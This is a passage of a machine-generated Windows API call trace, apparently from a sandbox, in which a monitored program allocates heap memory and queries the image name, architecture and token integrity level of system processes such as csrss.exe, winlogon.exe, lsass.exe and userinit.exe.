(HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0x1ab89c0 [0149.858] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c48978 [0149.858] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0x1ab89e8 [0149.858] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c48a00 [0149.859] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0x1ab8a10 [0149.859] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c48a88 [0149.860] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0x1ab8a38 [0149.860] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c48b10 [0149.860] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0x1ab8a60 [0149.860] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c48b98 [0149.861] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0x1ab8a88 [0149.861] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c48c20 [0149.861] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0x1ab8ab0 [0149.861] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c48ca8 [0149.862] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0x1ab8ad8 [0149.862] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c48d30 [0149.863] QueryFullProcessImageNameW (in: hProcess=0x198, dwFlags=0x0, lpExeName=0x9e4458, lpdwSize=0x1a7f9d8 | out: lpExeName="C:\\Windows\\System32\\csrss.exe", lpdwSize=0x1a7f9d8) returned 1 [0149.863] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9e4458) returned 1 [0149.863] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x1a7f9ac | out: Wow64Process=0x1a7f9ac) returned 1 [0149.863] IsWow64Process (in: hProcess=0x198, Wow64Process=0x1a7f9bc | out: Wow64Process=0x1a7f9bc) returned 1 [0149.863] NtQueryInformationProcess (in: ProcessHandle=0x198, ProcessInformationClass=0x18, ProcessInformation=0x1a7f9b8, ProcessInformationLength=0x4, ReturnLength=0x1a7f9bc | out: ProcessInformation=0x1a7f9b8, ReturnLength=0x1a7f9bc) returned 0x0 [0149.863] GetProcessTimes (in: hProcess=0x198, lpCreationTime=0x1a7f9d8, lpExitTime=0x1a7f9e0, lpKernelTime=0x1a7f9e0, lpUserTime=0x1a7f9e0 | out: lpCreationTime=0x1a7f9d8, lpExitTime=0x1a7f9e0, lpKernelTime=0x1a7f9e0, lpUserTime=0x1a7f9e0) returned 1 [0149.863] OpenProcessToken (in: ProcessHandle=0x198, DesiredAccess=0x8, TokenHandle=0x1a7f9ac | out: TokenHandle=0x1a7f9ac*=0x1c0) returned 1 [0149.863] GetTokenInformation (in: TokenHandle=0x1c0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x1a7f9a8 | out: TokenInformation=0x0, ReturnLength=0x1a7f9a8) returned 0 [0149.863] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cad0 [0149.863] GetTokenInformation (in: TokenHandle=0x1c0, TokenInformationClass=0x19, TokenInformation=0xa3cad0, TokenInformationLength=0x14, ReturnLength=0x1a7f9a8 | out: TokenInformation=0xa3cad0, ReturnLength=0x1a7f9a8) returned 1 [0149.863] GetSidSubAuthorityCount (pSid=0xa3cad8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 0xa3cad9 [0149.863] GetSidSubAuthority (pSid=0xa3cad8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000), nSubAuthority=0x0) returned 0xa3cae0 [0149.863] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cad0) returned 1 [0149.863] NtClose (Handle=0x1c0) returned 0x0 [0149.864] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0x1ab8b00 [0149.864] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c48db8 [0149.864] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0x1ab8b28 [0149.864] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c48e40 [0149.865] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0x1ab8b50 [0149.865] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c48ec8 [0149.867] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0x1ab8b78 [0149.867] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1bda000 [0149.869] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0x1ab8ba0 [0149.869] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1bd8c58 [0149.869] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0x1ab8bc8 [0149.869] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1bd9f78 [0149.870] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0x1ab8bf0 [0149.870] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c76fe0 [0149.871] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0x1ab8c18 [0149.871] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c77068 [0149.871] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0x1b39fb0 [0149.871] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1b39de8) returned 1 [0149.871] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0x1ab8c40 [0149.871] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c770f0 [0149.872] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0x1ab8c68 [0149.872] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c77178 [0149.873] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0x1ab8c90 [0149.873] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c77200 [0149.874] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0x9e4470 [0149.874] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c77288 [0149.874] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0x9e4498 [0149.874] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c77310 [0149.875] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0x9e44c0 [0149.875] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c77398 [0149.875] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0x9e44e8 [0149.875] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c77420 [0149.876] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0x9e4510 [0149.876] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c774a8 [0149.876] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0x9e4538 [0149.876] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c77530 [0149.877] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0x9e4560 [0149.877] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c775b8 [0149.878] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0x9e4588 [0149.878] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c77640 [0149.878] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0x9e45b0 [0149.878] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c776c8 [0149.879] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0x9e45d8 [0149.879] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c77750 [0149.880] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0x9e4600 [0149.880] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c777d8 [0149.880] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0x9e4628 [0149.880] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c77860 [0149.982] QueryFullProcessImageNameW (in: hProcess=0x1a8, dwFlags=0x0, lpExeName=0xa215a0, lpdwSize=0x1a7f9d8 | out: lpExeName="C:\\Windows\\System32\\winlogon.exe", lpdwSize=0x1a7f9d8) returned 1 [0149.982] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa215a0) returned 1 [0149.982] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x1a7f9ac | out: Wow64Process=0x1a7f9ac) returned 1 [0149.982] IsWow64Process (in: hProcess=0x1a8, Wow64Process=0x1a7f9bc | out: Wow64Process=0x1a7f9bc) returned 1 [0149.982] NtQueryInformationProcess (in: ProcessHandle=0x1a8, ProcessInformationClass=0x18, ProcessInformation=0x1a7f9b8, ProcessInformationLength=0x4, ReturnLength=0x1a7f9bc | out: ProcessInformation=0x1a7f9b8, ReturnLength=0x1a7f9bc) returned 0x0 [0149.982] GetProcessTimes (in: hProcess=0x1a8, lpCreationTime=0x1a7f9d8, lpExitTime=0x1a7f9e0, lpKernelTime=0x1a7f9e0, lpUserTime=0x1a7f9e0 | out: lpCreationTime=0x1a7f9d8, lpExitTime=0x1a7f9e0, lpKernelTime=0x1a7f9e0, lpUserTime=0x1a7f9e0) returned 1 [0149.982] OpenProcessToken (in: ProcessHandle=0x1a8, DesiredAccess=0x8, TokenHandle=0x1a7f9ac | out: TokenHandle=0x1a7f9ac*=0x1c0) returned 1 [0149.982] GetTokenInformation (in: TokenHandle=0x1c0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x1a7f9a8 | out: TokenInformation=0x0, ReturnLength=0x1a7f9a8) returned 0 [0149.982] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cad0 [0149.982] GetTokenInformation (in: TokenHandle=0x1c0, TokenInformationClass=0x19, TokenInformation=0xa3cad0, TokenInformationLength=0x14, ReturnLength=0x1a7f9a8 | out: TokenInformation=0xa3cad0, ReturnLength=0x1a7f9a8) returned 1 [0149.982] GetSidSubAuthorityCount (pSid=0xa3cad8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 0xa3cad9 [0149.982] GetSidSubAuthority (pSid=0xa3cad8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000), nSubAuthority=0x0) returned 0xa3cae0 [0149.982] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cad0) returned 1 [0149.982] NtClose (Handle=0x1c0) returned 0x0 [0149.983] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0x9e4650 [0149.983] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c778e8 [0149.983] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x240) returned 0x9ca460 [0149.983] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1b39fb0) returned 1 [0149.988] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0x9e4678 [0149.988] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c77970 [0149.988] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x1c3f588 [0149.988] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c77970) returned 1 [0149.989] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0x9e46a0 [0149.989] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c77970 [0149.990] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0x9e46c8 [0149.990] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c779f8 [0149.991] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0x9e46f0 [0149.991] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c77a80 [0149.992] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0x9e4718 [0149.992] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c77b08 [0149.993] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0x9e4740 [0149.993] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c77b90 [0149.993] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0x9e4768 [0149.993] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c77c18 [0149.994] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0x9e4790 [0149.994] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c77ca0 [0149.994] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0x9e47b8 [0149.994] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c77d28 [0149.995] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0x9e47e0 [0149.995] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c77db0 [0149.996] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0x9e4808 [0149.996] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c77e38 [0149.996] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0x9e4830 [0149.996] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c77ec0 [0149.997] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0x9e4858 [0149.997] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c77f48 [0149.998] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0x9e4880 [0149.998] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c77fd0 [0149.998] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0x9e48a8 [0149.998] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c78058 [0149.999] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0x9e48d0 [0149.999] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c780e0 [0149.999] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x280) returned 0x9ca6a8 [0149.999] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9ca460) returned 1 [0150.000] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0x9e48f8 [0150.000] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c78168 [0150.000] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0x9e4920 [0150.000] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c781f0 [0150.001] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0x9e4948 [0150.001] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c78278 [0150.001] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0x9e4970 [0150.001] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c78300 [0150.002] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0x9e4998 [0150.002] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c78388 [0150.003] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0x9e49c0 [0150.003] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c78410 [0150.003] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0x9e49e8 [0150.003] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c78498 [0150.004] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0x9e4a10 [0150.004] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c78520 [0150.005] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0x9e4a38 [0150.005] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c785a8 [0150.005] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0x9e4a60 [0150.005] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c78630 [0150.006] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0x9e4a88 [0150.006] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c786b8 [0150.007] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0x9e4ab0 [0150.007] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c78740 [0150.007] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0x9e4ad8 [0150.007] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c787c8 [0150.008] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0x9e4b00 [0150.008] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c78850 [0150.009] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0x9e4b28 [0150.009] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c788d8 [0150.009] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0x9e4b50 [0150.010] QueryFullProcessImageNameW (in: hProcess=0x194, dwFlags=0x0, lpExeName=0xa215a0, lpdwSize=0x1a7f9d8 | out: lpExeName="C:\\Windows\\System32\\services.exe", lpdwSize=0x1a7f9d8) returned 1 [0150.010] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa215a0) returned 1 [0150.010] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x1a7f9ac | out: Wow64Process=0x1a7f9ac) returned 1 [0150.010] IsWow64Process (in: hProcess=0x194, Wow64Process=0x1a7f9bc | out: Wow64Process=0x1a7f9bc) returned 1 [0150.010] NtQueryInformationProcess (in: ProcessHandle=0x194, ProcessInformationClass=0x18, ProcessInformation=0x1a7f9b8, ProcessInformationLength=0x4, ReturnLength=0x1a7f9bc | out: ProcessInformation=0x1a7f9b8, ReturnLength=0x1a7f9bc) returned 0x0 [0150.010] GetProcessTimes (in: hProcess=0x194, lpCreationTime=0x1a7f9d8, lpExitTime=0x1a7f9e0, lpKernelTime=0x1a7f9e0, lpUserTime=0x1a7f9e0 | out: lpCreationTime=0x1a7f9d8, lpExitTime=0x1a7f9e0, lpKernelTime=0x1a7f9e0, lpUserTime=0x1a7f9e0) returned 1 [0150.010] OpenProcessToken (in: ProcessHandle=0x194, DesiredAccess=0x8, TokenHandle=0x1a7f9ac | out: TokenHandle=0x1a7f9ac*=0x1c0) returned 1 [0150.010] GetTokenInformation (in: TokenHandle=0x1c0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x1a7f9a8 | out: TokenInformation=0x0, ReturnLength=0x1a7f9a8) returned 0 [0150.010] GetTokenInformation (in: TokenHandle=0x1c0, TokenInformationClass=0x19, TokenInformation=0xa3cad0, TokenInformationLength=0x14, ReturnLength=0x1a7f9a8 | out: TokenInformation=0xa3cad0, ReturnLength=0x1a7f9a8) returned 1 [0150.010] GetSidSubAuthorityCount (pSid=0xa3cad8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 0xa3cad9 [0150.011] GetSidSubAuthority (pSid=0xa3cad8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000), nSubAuthority=0x0) returned 0xa3cae0 [0150.011] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cad0) returned 1 [0150.011] NtClose (Handle=0x1c0) returned 0x0 [0150.175] QueryFullProcessImageNameW (in: hProcess=0x1a0, dwFlags=0x0, lpExeName=0xa280e8, lpdwSize=0x1a7f9d8 | out: lpExeName="C:\\Windows\\System32\\lsass.exe", lpdwSize=0x1a7f9d8) returned 1 [0150.175] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa280e8) returned 1 [0150.175] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x1a7f9ac | out: Wow64Process=0x1a7f9ac) returned 1 [0150.175] IsWow64Process (in: hProcess=0x1a0, Wow64Process=0x1a7f9bc | out: Wow64Process=0x1a7f9bc) returned 1 [0150.175] NtQueryInformationProcess (in: ProcessHandle=0x1a0, ProcessInformationClass=0x18, ProcessInformation=0x1a7f9b8, ProcessInformationLength=0x4, ReturnLength=0x1a7f9bc | out: ProcessInformation=0x1a7f9b8, ReturnLength=0x1a7f9bc) returned 0x0 [0150.175] GetProcessTimes (in: hProcess=0x1a0, lpCreationTime=0x1a7f9d8, lpExitTime=0x1a7f9e0, lpKernelTime=0x1a7f9e0, lpUserTime=0x1a7f9e0 | out: lpCreationTime=0x1a7f9d8, lpExitTime=0x1a7f9e0, lpKernelTime=0x1a7f9e0, lpUserTime=0x1a7f9e0) returned 1 [0150.175] OpenProcessToken (in: ProcessHandle=0x1a0, DesiredAccess=0x8, TokenHandle=0x1a7f9ac | out: TokenHandle=0x1a7f9ac*=0x1c0) returned 1 [0150.175] GetTokenInformation (in: TokenHandle=0x1c0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x1a7f9a8 | out: TokenInformation=0x0, ReturnLength=0x1a7f9a8) returned 0 [0150.176] GetTokenInformation (in: TokenHandle=0x1c0, TokenInformationClass=0x19, TokenInformation=0xa3cad0, TokenInformationLength=0x14, ReturnLength=0x1a7f9a8 | out: TokenInformation=0xa3cad0, ReturnLength=0x1a7f9a8) returned 1 [0150.176] GetSidSubAuthorityCount (pSid=0xa3cad8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 0xa3cad9 [0150.176] GetSidSubAuthority (pSid=0xa3cad8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000), nSubAuthority=0x0) returned 0xa3cae0 [0150.176] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cad0) returned 1 [0150.176] NtClose (Handle=0x1c0) returned 0x0 [0150.433] QueryFullProcessImageNameW (in: hProcess=0x190, dwFlags=0x0, lpExeName=0x1be4598, lpdwSize=0x1a7f9d8 | out: lpExeName="C:\\Windows\\System32\\lsm.exe", lpdwSize=0x1a7f9d8) returned 1 [0150.434] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1be4598) returned 1 [0150.434] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x1a7f9ac | out: Wow64Process=0x1a7f9ac) returned 1 [0150.434] IsWow64Process (in: hProcess=0x190, Wow64Process=0x1a7f9bc | out: Wow64Process=0x1a7f9bc) returned 1 [0150.434] NtQueryInformationProcess (in: ProcessHandle=0x190, ProcessInformationClass=0x18, ProcessInformation=0x1a7f9b8, ProcessInformationLength=0x4, ReturnLength=0x1a7f9bc | out: ProcessInformation=0x1a7f9b8, ReturnLength=0x1a7f9bc) returned 0x0 [0150.434] GetProcessTimes (in: hProcess=0x190, lpCreationTime=0x1a7f9d8, lpExitTime=0x1a7f9e0, lpKernelTime=0x1a7f9e0, lpUserTime=0x1a7f9e0 | out: lpCreationTime=0x1a7f9d8, lpExitTime=0x1a7f9e0, lpKernelTime=0x1a7f9e0, lpUserTime=0x1a7f9e0) returned 1 [0150.434] OpenProcessToken (in: ProcessHandle=0x190, DesiredAccess=0x8, TokenHandle=0x1a7f9ac | out: TokenHandle=0x1a7f9ac*=0x1c0) returned 1 [0150.434] GetTokenInformation (in: TokenHandle=0x1c0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x1a7f9a8 | out: TokenInformation=0x0, ReturnLength=0x1a7f9a8) returned 0 [0150.434] GetTokenInformation (in: TokenHandle=0x1c0, TokenInformationClass=0x19, TokenInformation=0xa3cad0, TokenInformationLength=0x14, ReturnLength=0x1a7f9a8 | out: TokenInformation=0xa3cad0, ReturnLength=0x1a7f9a8) returned 1 [0150.434] GetSidSubAuthorityCount (pSid=0xa3cad8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 0xa3cad9 [0150.434] GetSidSubAuthority (pSid=0xa3cad8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000), nSubAuthority=0x0) returned 0xa3cae0 [0150.434] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cad0) returned 1 [0150.434] NtClose (Handle=0x1c0) returned 0x0 [0150.704] QueryFullProcessImageNameW (in: hProcess=0x1ac, dwFlags=0x0, lpExeName=0x9fd0b8, lpdwSize=0x1a7f9d8 | out: lpExeName="C:\\Windows\\System32\\userinit.exe", lpdwSize=0x1a7f9d8) returned 1 [0150.704] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9fd0b8) returned 1 [0150.704] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x1a7f9ac | out: Wow64Process=0x1a7f9ac) returned 1 [0150.704] IsWow64Process (in: hProcess=0x1ac, Wow64Process=0x1a7f9bc | out: Wow64Process=0x1a7f9bc) returned 1 [0150.704] NtQueryInformationProcess (in: ProcessHandle=0x1ac, ProcessInformationClass=0x18, ProcessInformation=0x1a7f9b8, ProcessInformationLength=0x4, ReturnLength=0x1a7f9bc | out: ProcessInformation=0x1a7f9b8, ReturnLength=0x1a7f9bc) returned 0x0 [0150.704] GetProcessTimes (in: hProcess=0x1ac, lpCreationTime=0x1a7f9d8, lpExitTime=0x1a7f9e0, lpKernelTime=0x1a7f9e0, lpUserTime=0x1a7f9e0 | out: lpCreationTime=0x1a7f9d8, lpExitTime=0x1a7f9e0, lpKernelTime=0x1a7f9e0, lpUserTime=0x1a7f9e0) returned 1 [0150.704] OpenProcessToken 